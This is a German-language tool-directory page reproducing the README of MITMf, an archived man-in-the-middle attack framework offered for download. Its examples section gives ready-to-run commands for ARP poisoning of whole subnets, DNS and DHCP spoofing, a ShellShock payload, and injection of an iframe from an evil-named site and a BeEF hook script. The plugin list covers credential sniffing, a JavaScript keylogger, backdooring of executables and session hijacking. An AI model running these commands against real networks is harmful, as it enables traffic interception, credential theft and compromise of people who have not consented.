Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
MITMf — Framework für Man-In-The-Middle-Angriffe | Kitploit
Tools/GitHubGitHub/byt3bl33d3r/mitmf
Paket-Sniffing & AnalyseExploitationPhishingWebsicherheitNetzwerksicherheitPenetrationstestsCommand and ControlSocial EngineeringAuthentifizierungRed TeamingDNS-AnalyseArchived
3.6k1.0kvor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
byt3bl33d3r/mitmf

MITMf

Framework für Man-In-The-Middle-Angriffe

Repository anzeigen

Supported Python versions Latest Version Supported OS Code Climate Build Status Coverage Status

MITMf

Framework für Man-In-The-Middle-Angriffe

Dieses Projekt wird nicht mehr aktualisiert. MITMf wurde entwickelt, um den damaligen Bedarf an einem modernen Werkzeug für Man-In-The-Middle-Angriffe zu decken. Seitdem wurden viele andere Werkzeuge entwickelt, die diese Nische füllen. Sie sollten wahrscheinlich Bettercap verwenden, da es wesentlich funktionsreicher und besser gewartet ist.

Schnelle Tutorials, Beispiele und Entwickler-Updates unter: https://byt3bl33d3r.github.io

Dieses Werkzeug basiert auf sergio-proxy und ist ein Versuch, das Projekt wiederzubeleben und zu aktualisieren.

Kontaktieren Sie mich unter:

  • Twitter: @byt3bl33d3r
  • IRC auf Freenode: #MITMf
  • E-Mail: [email protected]

Bevor Sie Probleme melden, lesen Sie bitte den entsprechenden Abschnitt im Wiki.

Installation

Bitte lesen Sie das Wiki für Installationshinweise.

Beschreibung

MITMf zielt darauf ab, eine Rundum-Lösung für Man-In-The-Middle- und Netzwerkangriffe zu bieten, während bestehende Angriffe und Techniken aktualisiert und verbessert werden.

Ursprünglich entwickelt, um die erheblichen Mängel anderer Werkzeuge (z. B. Ettercap, Mallory) zu beheben, wurde es fast vollständig neu geschrieben, um ein modulares und leicht erweiterbares Framework bereitzustellen, das jeder zur Implementierung eigener MITM-Angriffe nutzen kann.

Funktionen

  • Das Framework enthält einen integrierten SMB-, HTTP- und DNS-Server, der von den verschiedenen Plugins gesteuert und genutzt werden kann. Es enthält außerdem eine modifizierte Version des SSLStrip-Proxys, die HTTP-Modifikation und eine partielle HSTS-Umgehung ermöglicht.

  • Ab Version 0.9.8 unterstützt MITMf aktive Paketfilterung und -manipulation (im Grunde das, was etterfilter tat, nur besser), sodass Benutzer jede Art von Verkehr oder Protokoll modifizieren können.

  • Die Konfigurationsdatei kann während der Laufzeit von MITMf bearbeitet werden; die Änderungen werden durch das Framework weitergegeben. Dies ermöglicht es Ihnen, Einstellungen von Plugins und Servern während eines Angriffs anzupassen.

  • MITMf erfasst FTP-, IRC-, POP-, IMAP-, Telnet-, SMTP-, SNMP- (Community-Strings), NTLMv1/v2- (alle unterstützten Protokolle wie HTTP, SMB, LDAP usw.) und Kerberos-Anmeldeinformationen mittels Net-Creds, das beim Start ausgeführt wird.

  • Die Responder-Integration ermöglicht LLMNR-, NBT-NS- und MDNS-Poisoning sowie Unterstützung für einen WPAD-Rogue-Server.

Aktive Paketfilterung/-modifikation

Sie können nun jedes Paket/Protokoll, das von MITMf abgefangen wird, mit Scapy modifizieren! (keine etterfilter mehr! juhu!)

Hier ist zum Beispiel ein kleiner, einfacher Filter, der lediglich die Ziel-IP-Adresse von ICMP-Paketen ändert:

root@kitploit:~
if packet.haslayer(ICMP):
	log.info('Ein ICMP-Paket erhalten!')
	packet.dst = '192.168.1.0'
  • Verwenden Sie die Variable packet, um auf das Paket in einem Scapy-kompatiblen Format zuzugreifen.
  • Verwenden Sie die Variable data, um auf die Rohdaten des Pakets zuzugreifen.

Um den Filter zu verwenden, müssen wir nur Folgendes ausführen: python mitmf.py -F ~/filter.py

Sie möchten das wahrscheinlich mit dem Spoof-Plugin kombinieren, um tatsächlich Pakete von jemand anderem abzufangen ;)

Hinweis: Sie können Filter während der Laufzeit ändern, ohne MITMf neu starten zu müssen!

Beispiele

Die grundlegendste Verwendung startet den HTTP-Proxy, die SMB-, DNS- und HTTP-Server sowie Net-Creds auf der Schnittstelle enp3s0:

python mitmf.py -i enp3s0

ARP-Vergiftung des gesamten Subnetzes mit dem Gateway unter 192.168.1.1 mittels des Spoof-Plugins:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

Wie oben, plus einen WPAD-Rogue-Proxy-Server mittels des Responder-Plugins:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP-Vergiftung von 192.168.1.16-45 und 192.168.0.1/24 mit dem Gateway unter 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

DNS-Spoofing aktivieren während ARP-Vergiftung (zu spoofende Domänen werden aus der Konfigurationsdatei geladen):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

LLMNR/NBTNS/MDNS-Spoofing aktivieren:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

DHCP-Spoofing aktivieren (der IP-Pool und das Subnetz werden aus der Konfigurationsdatei geladen):

python mitmf.py -i enp3s0 --spoof --dhcp

Wie oben, mit einem ShellShock-Payload, das ausgeführt wird, falls ein Client anfällig ist:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'

Einen HTML-IFrame mithilfe des Inject-Plugins einfügen:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Ein JS-Skript einfügen:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

Ein Captive-Portal starten, das alles auf http://SERVER/PATH umleitet:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH

Captive-Portal auf http://your-ip/portal.html starten unter Verwendung der Standardseite /portal.html (danke responder) und /CaptiveClient.exe (nicht enthalten) aus dem Ordner config/captive:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive

Wie oben, aber mit dem Hostnamen captive.portal anstelle der IP (erfordert, dass captive.portal auf Ihre IP aufgelöst wird, z. B. durch DNS-Spoof):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns

Ein Captive-Portal mit einer zusätzlichen SimpleHTTPServer-Instanz bereitstellen, die das Verzeichnis LOCALDIR unter http://IP:8080 bereitstellt (Port in mitmf.config ändern):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR

Wie oben, aber mit Hostnamen:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns

Und vieles mehr!

Natürlich können Sie fast alle Plugins miteinander kombinieren (z. B. ARP-Spoof + Inject + Responder usw.).

Eine vollständige Liste der verfügbaren Optionen erhalten Sie mit python mitmf.py --help.

Derzeit verfügbare Plugins

  • HTA Drive-By : Injiziert eine gefälschte Update-Benachrichtigung und fordert Clients auf, eine HTA-Anwendung herunterzuladen.
  • SMBTrap : Nutzt die 'SMB Trap'-Schwachstelle auf verbundenen Clients aus.
  • ScreenShotter : Verwendet HTML5 Canvas, um einen genauen Screenshot des Browsers eines Clients zu erstellen.
  • Responder : LLMNR-, NBT-NS-, WPAD- und MDNS-Vergifter.
  • SSLstrip+ : Umgeht HSTS teilweise.
  • Spoof : Leitet Datenverkehr mittels ARP-, ICMP-, DHCP- oder DNS-Spoofing um.
  • BeEFAutorun : Führt BeEF-Module automatisch basierend auf dem Betriebssystem oder Browsertyp eines Clients aus.
  • AppCachePoison : Führt HTML5-App-Cache-Vergiftungsangriffe durch.
  • Ferret-NG : Übernimmt transparent Client-Sitzungen.
  • BrowserProfiler : Versucht, alle Browser-Plugins verbundener Clients aufzulisten.
  • FilePwn : Hintertürt ausführbare Dateien, die über HTTP übertragen werden, unter Verwendung von Backdoor Factory und BDFProxy.
  • Inject : Injiziert beliebigen Inhalt in HTML-Inhalt.
  • BrowserSniper : Führt Drive-by-Angriffe auf Clients mit veralteten Browser-Plugins durch.
  • JSkeylogger : Injiziert einen Javascript-Keylogger in die Webseiten eines Clients.
  • Replace : Ersetzt beliebigen Inhalt in HTML-Inhalt.
  • SMBAuth : Löst SMB-Challenge-Response-Authentifizierungsversuche aus.
  • Upsidedownternet : Dreht Bilder um 180 Grad.
  • Captive : Erstellt ein Captive-Portal, das HTTP-Anfragen mittels 302 umleitet.

So unterstützen Sie meinen Tee- & Sushi-Vorrat

BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU

ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee

LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr

Tool herunterladen